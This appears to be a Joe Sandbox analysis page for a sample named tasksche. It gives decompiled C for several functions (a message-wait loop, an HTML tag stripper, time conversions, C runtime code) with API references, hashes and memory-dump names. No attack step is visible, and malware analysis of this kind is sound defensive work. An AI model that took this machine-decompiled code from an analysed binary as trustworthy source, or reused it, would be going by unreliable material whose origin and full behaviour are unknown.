Opcode ID: da4b65786035d2197ed7d49f53fcd311549ea47fe36f06ac93baee63d6beaa20
Instruction ID: b4756b8e91951cb7d51e69898c9cc4431ccaeceaeab60524178106c8bdd82eb4
Opcode Fuzzy Hash: da4b65786035d2197ed7d49f53fcd311549ea47fe36f06ac93baee63d6beaa20
Instruction Fuzzy Hash: 8101042320431169DA20EB769C45C6B73ACDFD93A0B00883FF584E31C1EA78D4A0C27B

Uniqueness

Uniqueness Score: -1.00%

Function 004192D0 Relevance: 12.1, APIs: 8, Instructions: 71
windowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E004192D0(intOrPtr __ecx) {
				long _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v24;
				short _v32;
				struct tagMSG _v60;
				void* _t23;
				intOrPtr* _t25;
				short _t28;
				intOrPtr* _t30;

				_v12 = __ecx;
				_v8 = GetTickCount();
				_t23 = GetTickCount() - _v8;
				while(_t23 <= 0x2710) {
					_t25 =  *((intOrPtr*)(_v12 + 0x10));
					 *((intOrPtr*)( *_t25 + 0xe0))(_t25,  &_v16);
					if(_v16 != 4) {
						if(PeekMessageW( &_v60, 0, 0, 0, 0) != 0) {
							TranslateMessage( &_v60);
							DispatchMessageW( &_v60);
							GetMessageW( &_v60, 0, 0, 0);
						}
						_t23 = GetTickCount() - _v8;
						continue;
					}
					break;
				}
				__imp__#8( &_v32);
				_t28 = 3;
				_v32 = _t28;
				_t30 =  *((intOrPtr*)(_v12 + 0x10));
				_v24 = 0x96;
				return  *((intOrPtr*)( *_t30 + 0xd8))(_t30, 0x3f, 2,  &_v32, 0);
			}

0x004192df
0x004192e4
0x004192e9
0x00419346
0x004192f8
0x00419302
0x0041930c
0x0041931e
0x00419324
0x0041932e
0x0041933b
0x0041933b
0x00419343
0x00000000
0x00419343
0x00000000
0x0041930c
0x0041934e
0x00419356
0x0041935c
0x00419363
0x0041936a
0x0041937e

APIs

GetTickCount.KERNEL32 ref: 004192E2
GetTickCount.KERNEL32 ref: 004192E7
PeekMessageW.USER32 ref: 00419316
TranslateMessage.USER32(?), ref: 00419324
DispatchMessageW.USER32 ref: 0041932E
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041933B
GetTickCount.KERNEL32 ref: 00419341
VariantInit.OLEAUT32(?), ref: 0041934E

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: Message$CountTick$DispatchInitPeekTranslateVariant
String ID:
API String ID: 4242828014-0
Opcode ID: 3739eaef324a12835188418d8e4db8062592f3b82a480bdb7c4c47042269d501
Instruction ID: 9cb0af2a0f3e63d9aa0a53d062aebc77c377528e3d470f830326fa06e80cb38f
Opcode Fuzzy Hash: 3739eaef324a12835188418d8e4db8062592f3b82a480bdb7c4c47042269d501
Instruction Fuzzy Hash: C121F7B1E00208AFDB10DFE4D888EEEBBBCEF48305F504866F911E7250D6799E458B61

Uniqueness

Uniqueness Score: -1.00%

Function 0041947D Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 157
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E0041947D(void* __ebx, void* __ecx, void* __eflags, signed short* _a4, signed short* _a7) {
				signed short* _v8;
				void* __edi;
				signed short* _t18;
				signed short* _t19;
				signed int _t20;
				signed int _t21;
				signed short _t22;
				void* _t23;
				void* _t25;
				signed int _t26;
				void* _t27;
				signed int _t29;
				signed short* _t30;
				void* _t34;
				signed short* _t35;
				short _t41;
				signed int _t42;
				signed short _t43;
				short _t44;
				void* _t45;
				signed short* _t46;
				void* _t49;
				signed short* _t51;
				short* _t52;
				short* _t54;
				signed short* _t56;
				signed short* _t69;

				_push(__ecx);
				_t56 = _a4;
				_t49 = __ecx;
				_t18 = E0041CF3E(__ebx, _t45, _t49, E0041A7AF(_t56) + _t16 + 2);
				_v8 = _t18;
				if(_t18 == 0) {
					L44:
					return _t18;
				}
				_t19 = E004191A2(_t56);
				_t51 = _v8;
				_a7 = _t19;
				_t20 =  *_t56 & 0x0000ffff;
				if(_t20 == 0) {
					L43:
					_t18 = _v8;
					goto L44;
				}
				_push(__ebx);
				while(1) {
					_t65 = _t20;
					if(_t20 != 0) {
						goto L3;
					}
					L26:
					_t21 = E00411E81(_t65, _t56, L"</p>", 4);
					asm("sbb bl, bl");
					_t34 =  ~_t21 + 1;
					_t66 = _t34;
					if(_t34 != 0 || E00411E81(_t66, _t56, L"<br>", 4) == 0) {
						_t22 = 0xd;
						 *_t51 = _t22;
						_t23 = 2;
						_t52 = _t51 + _t23;
						_t41 = 0xa;
						 *_t52 = _t41;
						_t51 = _t52 + _t23;
						if(_t34 != 0) {
							_t43 = 0xd;
							 *_t51 = _t43;
							_t54 = _t51 + _t23;
							_t44 = 0xa;
							 *_t54 = _t44;
							_t51 = _t54 + _t23;
							_t69 = _t51;
						}
					}
					 *_t51 = 0;
					_t25 = E00411E81(_t69, _t56, L"<style>", 7);
					if(_t25 != 0) {
						while(1) {
							_t26 =  *_t56 & 0x0000ffff;
							__eflags = _t26;
							if(_t26 == 0) {
								break;
							}
							__eflags = _t26 - 0x3e;
							if(_t26 == 0x3e) {
								L40:
								_t56 =  &(_t56[1]);
								__eflags = _t56;
								goto L41;
							}
							_t56 =  &(_t56[1]);
							__eflags = _t56;
						}
						__eflags =  *_t56 - 0x3e;
						if( *_t56 != 0x3e) {
							goto L41;
						}
						goto L40;
					} else {
						_t71 =  *_t56 - _t25;
						if( *_t56 == _t25) {
							L42:
							goto L43;
						} else {
							goto L32;
						}
						while(1) {
							L32:
							_t27 = E00411E81(_t71, _t56, L"</style>", 8);
							_t56 =  &(_t56[1]);
							if(_t27 == 0) {
								break;
							}
							if( *_t56 != 0) {
								continue;
							}
							L41:
							_t20 =  *_t56 & 0x0000ffff;
							if(_t20 != 0) {
								goto L3;
							}
							goto L42;
						}
						_t56 =  &(_t56[7]);
						goto L41;
					}
					L3:
					__eflags = _t20 - 0x3c;
					if(__eflags == 0) {
						goto L26;
					}
					__eflags = _a7;
					if(_a7 == 0) {
						L10:
						_t35 = 0;
						__eflags = _a7;
						if(_a7 == 0) {
							L18:
							_t29 =  *_t56 & 0x0000ffff;
							__eflags = _t29;
							if(__eflags == 0) {
								goto L26;
							}
							__eflags = _t29 - 0x20;
							if(_t29 != 0x20) {
								L22:
								 *_t51 = _t29;
								_t51 =  &(_t51[1]);
								__eflags = _t51;
								L23:
								_t56 =  &(_t56[1]);
								__eflags = _t56;
								L24:
								_t20 =  *_t56 & 0x0000ffff;
								continue;
							}
							__eflags = _t51 - _v8;
							if(_t51 == _v8) {
								goto L22;
							}
							__eflags =  *((intOrPtr*)(_t51 - 2)) - _t29;
							if( *((intOrPtr*)(_t51 - 2)) == _t29) {
								goto L23;
							}
							goto L22;
						}
						__eflags = _t20 - 0x26;
						if(_t20 != 0x26) {
							goto L18;
						}
						_t46 = 0;
						__eflags = 0;
						do {
							_t30 = _t46 + _t56;
							_t42 =  *_t30 & 0x0000ffff;
							__eflags = _t42;
							if(_t42 == 0) {
								break;
							}
							__eflags = _t42 - 0x3b;
							if(_t42 == 0x3b) {
								_t12 =  &(_t30[1]); // 0x2
								_t56 = _t12;
								_t35 = 1;
							}
							_t46 = _t46 + 2;
							__eflags = _t46 - 0x28;
						} while (_t46 < 0x28);
						__eflags = _t35;
						if(__eflags != 0) {
							goto L24;
						}
						goto L18;
					}
					__eflags = _t20 - 0xd;
					if(_t20 == 0xd) {
						L7:
						__eflags = _t51 - _v8;
						if(_t51 == _v8) {
							L9:
							_t29 = 0x20;
							goto L22;
						}
						__eflags =  *((short*)(_t51 - 2)) - 0x20;
						if( *((short*)(_t51 - 2)) == 0x20) {
							goto L23;
						}
						goto L9;
					}
					__eflags = _t20 - 0xa;
					if(_t20 != 0xa) {
						goto L10;
					}
					goto L7;
				}
			}

0x00419480
0x00419482
0x00419487
0x00419493
0x0041949a
0x0041949f
0x004195f9
0x004195fc
0x004195fc
0x004194a8
0x004194ad
0x004194b0
0x004194b3
0x004194b9
0x004195f6
0x004195f6
0x00000000
0x004195f6
0x004194bf
0x0041953e
0x0041953e
0x00419541
0x00000000
0x00000000
0x00419547
0x0041954f
0x00419558
0x0041955a
0x0041955a
0x0041955c
0x00419571
0x00419572
0x00419577
0x00419578
0x0041957c
0x0041957d
0x00419580
0x00419584
0x00419588
0x00419589
0x0041958e
0x00419590
0x00419591
0x00419594
0x00419594
0x00419594
0x00419584
0x004195a0
0x004195a3
0x004195aa
0x004195d9
0x004195d9
0x004195dc
0x004195df
0x00000000
0x00000000
0x004195d1
0x004195d5
0x004195e7
0x004195e8
0x004195e8
0x00000000
0x004195e8
0x004195d8
0x004195d8
0x004195d8
0x004195e1
0x004195e5
0x00000000
0x00000000
0x00000000
0x004195ac
0x004195ac
0x004195af
0x004195f5
0x00000000
0x00000000
0x00000000
0x00000000
0x004195b1
0x004195b1
0x004195b9
0x004195bf
0x004195c2
0x00000000
0x00000000
0x004195c8
0x00000000
0x00000000
0x004195e9
0x004195e9
0x004195ef
0x00000000
0x00000000
0x00000000
0x004195ef
0x004195cc
0x00000000
0x004195cc
0x004194c2
0x004194c2
0x004194c6
0x00000000
0x00000000
0x004194c8
0x004194cc
0x004194eb
0x004194eb
0x004194ed
0x004194f0
0x0041951b
0x0041951b
0x0041951e
0x00419521
0x00000000
0x00000000
0x00419523
0x00419527
0x00419534
0x00419534
0x00419538
0x00419538
0x00419539
0x0041953a
0x0041953a
0x0041953b
0x0041953b
0x00000000
0x0041953b
0x00419529
0x0041952c
0x00000000
0x00000000
0x0041952e
0x00419532
0x00000000
0x00000000
0x00000000
0x00419532
0x004194f2
0x004194f6
0x00000000
0x00000000
0x004194f8
0x004194f8
0x004194fa
0x004194fa
0x004194fd
0x00419500
0x00419503
0x00000000
0x00000000
0x00419505
0x00419509
0x0041950b
0x0041950b
0x0041950e
0x0041950e
0x00419511
0x00419512
0x00419512
0x00419517
0x00419519
0x00000000
0x00000000
0x00000000
0x00419519
0x004194ce
0x004194d2
0x004194da
0x004194da
0x004194dd
0x004194e6
0x004194e8
0x00000000
0x004194e8
0x004194df
0x004194e4
0x00000000
0x00000000
0x00000000
0x004194e4
0x004194d4
0x004194d8
0x00000000
0x00000000
0x00000000
0x004194d8

APIs

_wcslen.LIBCMT ref: 00419489
_malloc.LIBCMT ref: 00419493

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

Strings

<style>, xrefs: 00419598
<br>, xrefs: 00419560
</p>, xrefs: 00419549
</style>, xrefs: 004195B3

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: AllocateHeap_malloc_wcslen
String ID: </p>$</style>$<br>$<style>
API String ID: 4208083856-1200123991
Opcode ID: 5351bb3c566385adc5a17e78c8cf682653f9611ff9536b40e476e7d4e6e1552e
Instruction ID: 25e48dc46573b9320602deb0b34776bf62bfe2b29788b043e296d39cf0375d11
Opcode Fuzzy Hash: 5351bb3c566385adc5a17e78c8cf682653f9611ff9536b40e476e7d4e6e1552e
Instruction Fuzzy Hash: 69412477645212B5DB315B1998217FA73A69F01754F68401BED81B32C0E76C8EC2C26D

Uniqueness

Uniqueness Score: -1.00%

Function 004113F1 Relevance: 10.6, APIs: 7, Instructions: 134
timeCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E004113F1(long* __ecx, signed int* _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				void* _v24;
				struct _FILETIME _v28;
				void* _v32;
				struct _FILETIME _v36;
				struct _SYSTEMTIME _v52;
				struct _SYSTEMTIME _v68;
				struct _SYSTEMTIME _v84;
				void* _t71;
				signed int _t81;
				void* _t84;
				signed int _t113;
				long _t115;
				signed int* _t126;

				_v20.dwLowDateTime =  *__ecx;
				_v20.dwHighDateTime = __ecx[1];
				if(E00409C06() >= 0x600) {
					FileTimeToSystemTime( &_v20,  &_v68);
					SystemTimeToTzSpecificLocalTime(0,  &_v68,  &_v84);
					SystemTimeToFileTime( &_v84,  &_v12);
					SystemTimeToFileTime( &_v68,  &_v28);
					_t115 = _v20.dwHighDateTime;
					asm("adc ecx, ebx");
					_t71 = E0041ABD0(_v12.dwHighDateTime + _t115, 0, 0, 1);
					asm("sbb edx, ebx");
					asm("sbb edx, ebx");
					asm("adc edx, ebx");
					asm("adc edx, ebx");
					_v12.dwLowDateTime = _t71 - _v28.dwLowDateTime + _v12.dwLowDateTime + _v20.dwLowDateTime;
					_v12.dwHighDateTime = _t115;
				} else {
					FileTimeToLocalFileTime( &_v20,  &_v12);
				}
				FileTimeToSystemTime( &_v12,  &_v52);
				_t126 = _a4;
				_t81 = _v52.wDay & 0x0000ffff;
				_t113 = _v52.wMonth & 0x0000ffff;
				_t116 = _v52.wYear & 0x0000ffff;
				_t126[3] = _v52.wHour & 0x0000ffff;
				_t126[2] = _t81;
				_t126[4] = _v52.wMinute & 0x0000ffff;
				_t126[8] = _t81 - 1;
				_t126[5] = _v52.wSecond & 0x0000ffff;
				_t84 = 1;
				 *_t126 = _v52.wYear & 0x0000ffff;
				_t126[1] = _t113;
				_t126[7] = _v52.wDayOfWeek & 0x0000ffff;
				if(_t113 > 1) {
					_a4 = 0x430138;
					while(_t84 <= 0xc) {
						_t126[8] = _t126[8] +  *_a4;
						_a4 =  &(_a4[1]);
						_t84 = _t84 + 1;
						if(_t84 < _t113) {
							continue;
						}
						goto L7;
					}
				}
				L7:
				if(_t113 > 2 && E004113C2(_t116) != 0) {
					_t126[8] = _t126[8] + 1;
				}
				_v52.wMilliseconds = 0;
				SystemTimeToFileTime( &_v52,  &_v36);
				_t126[6] = 0 - _v36.dwLowDateTime + _v12.dwLowDateTime;
				return _v12.dwHighDateTime;
			}

0x004113ff
0x00411402
0x0041141b
0x00411435
0x00411441
0x0041144f
0x00411459
0x0041145b
0x0041146a
0x0041146e
0x0041147d
0x00411486
0x0041148d
0x00411491
0x00411493
0x0041149b
0x0041141d
0x00411425
0x00411425
0x004114a6
0x004114a8
0x004114af
0x004114b3
0x004114b7
0x004114bb
0x004114c2
0x004114c5
0x004114cd
0x004114d2
0x004114d9
0x004114da
0x004114dc
0x004114df
0x004114e4
0x004114e6
0x004114ed
0x004114f7
0x004114fa
0x004114fe
0x00411501
0x00000000
0x00000000
0x00000000
0x00411501
0x004114ed
0x00411503
0x00411506
0x00411512
0x00411512
0x00411517
0x00411523
0x00411538
0x0041153e

APIs

Part of subcall function 00409C06: GetVersionExW.KERNEL32(?), ref: 00409C2B

FileTimeToLocalFileTime.KERNEL32(?,?,?,?), ref: 00411425
FileTimeToSystemTime.KERNEL32(?,?,?,?), ref: 00411435
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00411441
SystemTimeToFileTime.KERNEL32(?,?), ref: 0041144F
SystemTimeToFileTime.KERNEL32(?,?), ref: 00411459
FileTimeToSystemTime.KERNEL32(?,?,?,00000000,00000000,00000001), ref: 004114A6
SystemTimeToFileTime.KERNEL32(?,?), ref: 00411523

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: b334752188d409053c41308d043ef773f1ba1375d33674074c65fffa3be1e0d1
Instruction ID: 2321c29e0176793db35fe244bdb3b2ca835dfa759224b44d16608c614d02fbda
Opcode Fuzzy Hash: b334752188d409053c41308d043ef773f1ba1375d33674074c65fffa3be1e0d1
Instruction Fuzzy Hash: 40410AB1E00218AFCB14DFA9C8849EEB7F9FF48314B14852FE946E7240D778A945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040D92D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D92D(intOrPtr* __edi, void* __eflags) {
				char _v5;
				char _v8200;
				void* __ebx;
				void* __esi;
				intOrPtr _t18;
				short* _t28;
				void* _t31;
				signed int _t32;
				void* _t39;
				intOrPtr* _t41;
				short* _t42;
				void* _t43;

				_t41 = __edi;
				E0041AAF0(0x2004);
				_t42 = E0041CF3E(_t31, _t39, __edi, 0x20000);
				if(_t42 == 0) {
					E004063CE(0x4335ac);
				}
				 *_t42 = 0;
				_t32 = 0;
				while(1) {
					_t18 = E0040D781(0,  &_v8200, _t42,  *_t41, 0,  &_v5, 0x1000);
					 *_t41 = _t18;
					if(_t18 == 0) {
						break;
					}
					if( *_t42 != 0 || _v8200 != 0x7b) {
						if(_v8200 == 0x7d || E0041A7AF( &_v8200) + _t32 > 0xfffb) {
							break;
						} else {
							E0041A7C9(_t42,  &_v8200);
							_t32 = E0041A7AF(_t42);
							_t43 = _t43 + 0xc;
							if(_t32 <= 0) {
								L11:
								if(_v5 == 0) {
									E0041A7F7(_t42 + _t32 * 2, L"\r\n");
								}
								continue;
							}
							_t6 = _t32 * 2; // -2
							_t28 = _t42 + _t6 - 2;
							while( *_t28 == 0x20) {
								_t32 = _t32 - 1;
								_t28 = _t28;
								if(_t32 > 0) {
									continue;
								}
								goto L11;
							}
							goto L11;
						}
					} else {
						continue;
					}
				}
				return _t42;
			}

0x0040d92d
0x0040d935
0x0040d946
0x0040d94b
0x0040d952
0x0040d952
0x0040d959
0x0040d95c
0x0040d9d3
0x0040d9e8
0x0040d9ed
0x0040d9f1
0x00000000
0x00000000
0x0040d964
0x0040d978
0x00000000
0x0040d990
0x0040d998
0x0040d9a3
0x0040d9a5
0x0040d9aa
0x0040d9bd
0x0040d9c1
0x0040d9cc
0x0040d9d2
0x00000000
0x0040d9c1
0x0040d9ac
0x0040d9ac
0x0040d9b0
0x0040d9b6
0x0040d9b8
0x0040d9bb
0x00000000
0x00000000
0x00000000
0x0040d9bb
0x00000000
0x0040d9b0
0x00000000
0x00000000
0x00000000
0x0040d964
0x0040d9fc

APIs

_malloc.LIBCMT ref: 0040D941

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_wcslen.LIBCMT ref: 0040D981
_wcscat.LIBCMT ref: 0040D998
_wcslen.LIBCMT ref: 0040D99E
_wcscpy.LIBCMT ref: 0040D9CC

Strings

}, xrefs: 0040D970

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$AllocateHeap_malloc_wcscat_wcscpy
String ID: }
API String ID: 2020890722-4239843852
Opcode ID: 3ce7cc9201d2466274df5ea9a8a544c60194d6dbbf9d6b925a49aa9d19dd61ba
Instruction ID: a9b9a9eb170ff11f00d7125a4cd00596761e48c06437fb6caf1dcbb108c8f9f0
Opcode Fuzzy Hash: 3ce7cc9201d2466274df5ea9a8a544c60194d6dbbf9d6b925a49aa9d19dd61ba
Instruction Fuzzy Hash: 6111B771D0131A59EB25ABE08CC57DB72B8DF00354F10007BE645E22D1EBBC9A99C39D

Uniqueness

Uniqueness Score: -1.00%

Function 00411541 Relevance: 9.1, APIs: 6, Instructions: 104
timeCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00411541(signed int* __ecx, intOrPtr* _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				void* _v24;
				struct _FILETIME _v28;
				struct _SYSTEMTIME _v44;
				struct _SYSTEMTIME _v60;
				struct _SYSTEMTIME _v76;
				int _t52;
				void* _t67;
				long _t71;
				signed int* _t75;
				signed int _t84;
				intOrPtr* _t86;
				intOrPtr _t87;

				_t86 = _a4;
				_v44.wYear =  *_t86;
				_t3 = _t86 + 4; // 0xffec8b55
				_v44.wMonth =  *_t3;
				_t5 = _t86 + 8; // 0x75ff1c75
				_v44.wDay =  *_t5;
				_t7 = _t86 + 0xc; // 0x1475ff18
				_v44.wHour =  *_t7;
				_t9 = _t86 + 0x10; // 0xff1075ff
				_v44.wMinute =  *_t9;
				_t11 = _t86 + 0x14; // 0x75ff0c75
				_v44.wSecond =  *_t11;
				_v44.wMilliseconds = 0;
				_t75 = __ecx;
				_t52 = SystemTimeToFileTime( &_v44,  &_v12);
				if(_t52 == 0) {
					 *_t75 =  *_t75 & 0x00000000;
					_t75[1] = _t75[1] & 0x00000000;
					return _t52;
				}
				_t16 = _t86 + 0x18; // 0xd00ae808
				_t87 =  *_t16;
				_v12.dwLowDateTime = _v12.dwLowDateTime + _t87;
				if(_v12.dwLowDateTime < _t87) {
					_v12.dwHighDateTime = _v12.dwHighDateTime + 1;
				}
				if(E00409C06() >= 0x600) {
					FileTimeToSystemTime( &_v12,  &_v60);
					__imp__TzSpecificLocalTimeToSystemTime(0,  &_v60,  &_v76);
					SystemTimeToFileTime( &_v76,  &_v20);
					SystemTimeToFileTime( &_v60,  &_v28);
					_t84 = _v12.dwHighDateTime;
					asm("adc ecx, esi");
					_t67 = E0041ABD0(_v20.dwHighDateTime + _t84, 0, 0, 1);
					asm("sbb edx, esi");
					asm("sbb edx, esi");
					asm("adc edx, esi");
					_t71 = _t67 - _v28.dwLowDateTime + _v20.dwLowDateTime + _v12.dwLowDateTime;
					asm("adc edx, esi");
				} else {
					LocalFileTimeToFileTime( &_v12,  &_v20);
					_t84 = _v20.dwHighDateTime;
					_t71 = _v20.dwLowDateTime;
				}
				 *_t75 = _t71;
				_t75[1] = _t84;
				return _t71;
			}

0x00411549
0x0041154f
0x00411553
0x00411557
0x0041155b
0x0041155f
0x00411563
0x00411567
0x0041156b
0x0041156f
0x00411573
0x00411577
0x00411584
0x00411590
0x00411592
0x00411596
0x00411642
0x00411645
0x00000000
0x00411645
0x0041159c
0x0041159c
0x0041159f
0x004115a5
0x004115a7
0x004115a7
0x004115b4
0x004115d4
0x004115e4
0x004115f2
0x004115fc
0x004115fe
0x0041160d
0x00411611
0x00411620
0x00411629
0x00411630
0x00411632
0x00411634
0x004115b6
0x004115be
0x004115c4
0x004115c7
0x004115c7
0x0041163b
0x0041163d
0x00000000

APIs

SystemTimeToFileTime.KERNEL32(?,004116A7,?,?), ref: 00411592
LocalFileTimeToFileTime.KERNEL32(004116A7,?), ref: 004115BE
FileTimeToSystemTime.KERNEL32(004116A7,?), ref: 004115D4
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 004115E4
SystemTimeToFileTime.KERNEL32(?,?), ref: 004115F2
SystemTimeToFileTime.KERNEL32(?,?), ref: 004115FC

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: Time$File$System$Local$Specific
String ID:
API String ID: 3144155402-0
Opcode ID: f90245df41cc322dafe52bf530a12eef1bc8a67292351d8d3269b2ac88901438
Instruction ID: daaaa78088cd12f13caf2716ff388f37494b9d87aa27411613d97d80370a29eb
Opcode Fuzzy Hash: f90245df41cc322dafe52bf530a12eef1bc8a67292351d8d3269b2ac88901438
Instruction Fuzzy Hash: 92313276D001199BCB14DFD4C840AEFB7B9FF48710F04452AE946E3250E634A945CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041DD85 Relevance: 9.0, APIs: 6, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E0041DD85(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t48;
				intOrPtr _t57;
				void* _t58;
				void* _t61;

				_t61 = __eflags;
				_t53 = __edx;
				_push(0x2c);
				_push(0x42d800);
				E0041FA9C(__ebx, __edi, __esi);
				_t48 = __ecx;
				_t55 =  *((intOrPtr*)(_t58 + 0xc));
				_t57 =  *((intOrPtr*)(_t58 + 8));
				 *((intOrPtr*)(_t58 - 0x1c)) = __ecx;
				 *(_t58 - 0x34) =  *(_t58 - 0x34) & 0x00000000;
				 *((intOrPtr*)(_t58 - 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t58 + 0xc)) - 4));
				 *((intOrPtr*)(_t58 - 0x28)) = E0041A3D6(_t58 - 0x3c,  *((intOrPtr*)(_t57 + 0x18)));
				 *((intOrPtr*)(_t58 - 0x2c)) =  *((intOrPtr*)(E0041E9B4(__ecx, __edx, _t55, _t61) + 0x88));
				 *((intOrPtr*)(_t58 - 0x30)) =  *((intOrPtr*)(E0041E9B4(_t48, __edx, _t55, _t61) + 0x8c));
				 *((intOrPtr*)(E0041E9B4(_t48, _t53, _t55, _t61) + 0x88)) = _t57;
				 *((intOrPtr*)(E0041E9B4(_t48, _t53, _t55, _t61) + 0x8c)) =  *((intOrPtr*)(_t58 + 0x10));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *((intOrPtr*)(_t58 + 0x10)) = 1;
				 *(_t58 - 4) = 1;
				 *((intOrPtr*)(_t58 - 0x1c)) = E0041A47B(_t55,  *((intOrPtr*)(_t58 + 0x14)), _t48,  *((intOrPtr*)(_t58 + 0x18)),  *((intOrPtr*)(_t58 + 0x1c)));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *(_t58 - 4) = 0xfffffffe;
				 *((intOrPtr*)(_t58 + 0x10)) = 0;
				E0041DEAB(_t48, _t53, _t55, _t57, _t61);
				return E0041FAE1( *((intOrPtr*)(_t58 - 0x1c)));
			}

0x0041dd85
0x0041dd85
0x0041dd85
0x0041dd87
0x0041dd8c
0x0041dd91
0x0041dd93
0x0041dd96
0x0041dd99
0x0041dd9c
0x0041dda3
0x0041ddb4
0x0041ddc2
0x0041ddd0
0x0041ddd8
0x0041dde6
0x0041ddec
0x0041ddf3
0x0041ddf6
0x0041de0c
0x0041de0f
0x0041de84
0x0041de8b
0x0041de92
0x0041de9f

APIs

__CreateFrameInfo.LIBCMT ref: 0041DDAD

Part of subcall function 0041A3D6: __getptd.LIBCMT ref: 0041A3E4
Part of subcall function 0041A3D6: __getptd.LIBCMT ref: 0041A3F2

__getptd.LIBCMT ref: 0041DDB7

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
